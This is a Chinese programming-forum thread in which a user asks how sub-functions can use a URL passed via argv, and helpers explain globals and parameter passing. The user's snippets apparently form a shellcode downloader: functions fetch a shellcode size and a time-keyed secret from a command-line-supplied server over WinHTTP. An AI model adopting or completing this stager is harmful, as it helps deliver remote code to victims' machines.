鱼C论坛

 找回密码
 立即注册
查看: 3016|回复: 21

[已解决]其他函数模块如何调用主函数argv参数值?

[复制链接]
发表于 2021-4-9 11:01:55 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能^_^

您需要 登录 才可以下载或查看,没有账号?立即注册

x
本帖最后由 我叫学得会 于 2021-4-9 11:04 编辑

源代码为:

而子函数 geturl1(); gethost();等都会用到这个  httpget里的地址。
char httpget[MAX_PATH] = "http://123-456.com/";

int main()
{  
        geturl1();
        gethost();
        return 0;
        
}  




请问,主函数改为调用参数,而其他子函数都调用主函数输入进来的这个值去get页面等操作,有什么比较好的方案呢?
 //char httpget[MAX_PATH] = "http://123-456.com/";        //改为输入模式。

int main(int argc,char* argv[])
{  
        
        geturl1();
        gethost();
        return 0;
        
}  
最佳答案
2021-4-12 15:36:16
本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑

我看了半天你这不是c++么
那多简单啊   直接用string啊
#include <iostream>
#include <string>

using namespace std;

string url;

int main(int argc, char** argv)
{
        if (argc < 2)
                return -1;

        url.assign(argv[1]);
        printf_s("输入的参数为: %s\n", argv[1]);

        return 0;
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复

使用道具 举报

 楼主| 发表于 2021-4-12 08:51:13 | 显示全部楼层
师傅们,这题不会啊,怎么没人帮帮呀
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 09:15:31 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 09:17 编辑
void geturl1(char* url, int len);
void gethost(char* url, int len);

int main(int argc,char* argv[])
{  
       
        geturl1(argv[1], MAX_PATH);
        gethost(argv[1], MAX_PATH);
        return 0;
       
}
传参不就完事了。。。。
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 10:00:59 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 09:15
传参不就完事了。。。。

子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 10:02:42 | 显示全部楼层
我叫学得会 发表于 2021-4-12 10:00
子函数里还有其他子函数,这样传参下去很麻烦,还有没有更简洁效率的方法啊?

你还嫌麻烦, 其他方法有啊  你弄个全局变量  参数传进来的时候赋值给全局变量
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 11:00:46 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 10:02
你还嫌麻烦, 其他方法有啊  你弄个全局变量  参数传进来的时候赋值给全局变量

对啊,参数进来设置为全局变量,其他子涵数调用,师傅给个示范啊
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 13:19:38 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 13:24 编辑
char* httpget;

int main(int argc, char** argv)
{  
        if(argc < 2)
                return -1;

        int len = strlen(argv[1]);                                           //获取参数字符串长度
        httpget = (char*)malloc((len + 1) * sizeof(char));       //申请内存
        if(!httpget)                                                              //申请失败退出程序
                return -1;

        memset(httpget, 0, len + 1);                                    //初始化内存
        strcpy(httpget, argv[1]);                                          //拷贝字符串

        geturl1();                                                               //执行操作
        gethost();

        free(httpget);                                                         //释放内存
        return 0;
       
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 14:35:58 | 显示全部楼层
本帖最后由 我叫学得会 于 2021-4-12 14:42 编辑


大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 14:47:31 | 显示全部楼层
我叫学得会 发表于 2021-4-12 14:35
大佬,这样改后,理论上子函数中的子函数调用网址生成Post请求,可是请求没发出,,子涵数没获取到参数

111.png

我这是正常的啊
#include <stdio.h>
#include <Windows.h>

int main(int argc, char** argv)
{
        if (argc < 2)
                return -1;

        printf_s("输入的参数为: %s\n", argv[1]);

        system("pause");
        return 0;
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 15:20:20 | 显示全部楼层
std::string GenerateUri()
{
        time_t myt = time(NULL);
        int key = int(int(myt) / 100);
        std::string u = string(obscure) + std::to_string(key);
        return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
        
        string res = Request(httpget,"my/get_size");
        if (res=="")return false;
        shellcode_size = std::atoi(res.c_str());
        shellcode = (char*)malloc(shellcode_size);
        if (shellcode != 0) {
                return true;
        }
        else {
                return false;
        }
}

std::string GetKey()
{
        if (GetShellCodeSize() == false) {
                return "";
        }
        
        
        string res = Request(httpget,GenerateUri());
        return res;
}

这里的子函数没有获取上值
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 15:25:45 | 显示全部楼层
本帖最后由 yuxijian2020 于 2021-4-12 15:27 编辑
我叫学得会 发表于 2021-4-12 15:20
这里的子函数没有获取上值


那你试试不要申请内存,直接赋值
/*int len = strlen(argv[1]);
    url = (char*)malloc(len + 1);
    if(!url)
        return -1;

    memset(httpget, 0, len + 1);
        strcpy(httpget, argv[1]);*/
    httpget = argv[1];
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 15:36:16 | 显示全部楼层    本楼为最佳答案   
本帖最后由 yuxijian2020 于 2021-4-12 15:40 编辑

我看了半天你这不是c++么
那多简单啊   直接用string啊
#include <iostream>
#include <string>

using namespace std;

string url;

int main(int argc, char** argv)
{
        if (argc < 2)
                return -1;

        url.assign(argv[1]);
        printf_s("输入的参数为: %s\n", argv[1]);

        return 0;
}
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 16:52:37 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 15:36
我看了半天你这不是c++么
那多简单啊   直接用string啊

还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 16:55:55 | 显示全部楼层
我叫学得会 发表于 2021-4-12 16:52
还是没有调用成功,子子子函数调用全局 变量 string url里的数值不成功,应该是url 里没有数值吧?


你是怎么调用的.....   我感觉你调用的有问题呢....
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:19:38 | 显示全部楼层
本帖最后由 我叫学得会 于 2021-4-12 17:34 编辑
yuxijian2020 发表于 2021-4-12 16:55
你是怎么调用的.....   我感觉你调用的有问题呢....

std::string Request(std::string target, std::string path) {                                              //发包调用 target 就是我们获得主函数的参数
        DWORD dwSize = 0;
        DWORD dwDownloaded = 0;
        LPSTR pszOutBuffer;
        BOOL  bResults = FALSE;
        BOOL  useSSL = FALSE;
        INTERNET_PORT port;
        HINTERNET  hSession = NULL,
                hConnect = NULL,
                hRequest = NULL;
        std::string reqResult;
        
        EdUrlParser* url = EdUrlParser::parseUrl(target);
        
        std::string p = url->port;
        if (p.length() > 1) {
                
                //std::cout <<p <<"   "<<p.substr(2) << std::endl;
                port = std::atoi(p.c_str());
                
        }
        if (url->scheme == "https") {
                useSSL = TRUE;
                if (url->port == "") {
                        port = 443;
                }
        }
        else {
                if (url->port == "")
                        port = 80;
        }




        std::wstring h = std::wstring(url->hostName.begin(), url->hostName.end());
        std::string strBasePath = url->path;
        char last = strBasePath.back();
        if (strcmp(&last,"/")) {
                strBasePath += "/";
        }
        strBasePath += path;
        std::cout << "request path:" << strBasePath <<"    port:"<< port<<std::endl;
        std::wstring basePath = std::wstring(strBasePath.begin(), strBasePath.end());
        wchar_t* host = (wchar_t*)h.c_str();

        wchar_t* object = (wchar_t*)basePath.c_str();


        // Use WinHttpOpen to obtain a session handle.
        hSession = WinHttpOpen(L"WinHTTP Example/1.0",
                WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
                WINHTTP_NO_PROXY_NAME,
                WINHTTP_NO_PROXY_BYPASS, 0);

        // Specify an HTTP server.
        if (hSession)
                hConnect = WinHttpConnect(hSession, host,
                        port, 0);

        // Create an HTTP request handle.
        if (hConnect)

                hRequest = WinHttpOpenRequest(hConnect, L"GET", object,
                        NULL, WINHTTP_NO_REFERER,
                        WINHTTP_DEFAULT_ACCEPT_TYPES,
                        useSSL ? WINHTTP_FLAG_SECURE : 0);

....Request模块

下面是调用:
std::string GenerateUri()
{
        time_t myt = time(NULL);
        int key = int(int(myt) / 100);
        std::string u = string(obscure) + std::to_string(key);
        return MD5_(u).toStr();
}
bool GetShellCodeSize()
{
        
        string res = Request(target,"my/get_size");                                           //函数调用 int main 参数里的值
        if (res=="")return false;
        shellcode_size = std::atoi(res.c_str());
        shellcode = (char*)malloc(shellcode_size);
        if (shellcode != 0) {
                return true;
        }
        else {
                return false;
        }
}

std::string GetKey()
{
        if (GetShellCodeSize() == false) {
                return "";
        }
        
        
        string res = Request(target,GenerateUri());                           //获取网页密钥,发包int main 的值
        return res;
}


string target;                                     //  存放 参数 就是请求的url值


int main(int argc,char* argv[])                 //无参数执行很顺利,改为有参我人都傻了,原本在cdm调用此程序输入的是Base64,想再加个void base64encode () 然后ruturn target; 接下来其他程序就顺步走了,可是还没解密呢,改指针我人都傻了
{  
        
        if (argc < 2)
        {
                return -1;
        }
        target.assign(argv[1]);
        Invoke();                                //把琐碎一些列执行模块子函数都封装在这里了
        return 0;
        
        
        
} 
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 17:27:12 | 显示全部楼层
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声明一下全局变量)  还有你把全局变量名改一下   全局变量和形参名相同了  很容易弄混淆
而且main函数里我也没看见你调用上面的函数啊  = =
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:31:04 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声 ...

文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:36:05 | 显示全部楼层
我叫学得会 发表于 2021-4-12 17:31
文件是分开的,我在代码页是很规范写了,刚才我只是给你简单发了一下,你刷新看看

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

 楼主| 发表于 2021-4-12 17:36:45 | 显示全部楼层
yuxijian2020 发表于 2021-4-12 17:27
你看看你的全局变量在哪定义的.....(放在所有函数定义之前,如果是不同文件  最好在头文件开始声 ...

大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

发表于 2021-4-12 19:35:10 | 显示全部楼层
我叫学得会 发表于 2021-4-12 17:36
大佬,我在代码里修改了备注,调用的那些小函数太多,我全都封装在 Invoke();里了

那你就把
string target;                                     //  存放 参数 就是请求的url值
这一句放到Invoke()函数的定义前面
想知道小甲鱼最近在做啥?请访问 -> ilovefishc.com
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|手机版|Archiver|鱼C工作室 ( 粤ICP备18085999号-1 | 粤公网安备 44051102000585号)

GMT+8, 2024-9-21 17:38

Powered by Discuz! X3.4

© 2001-2023 Discuz! Team.

快速回复 返回顶部 返回列表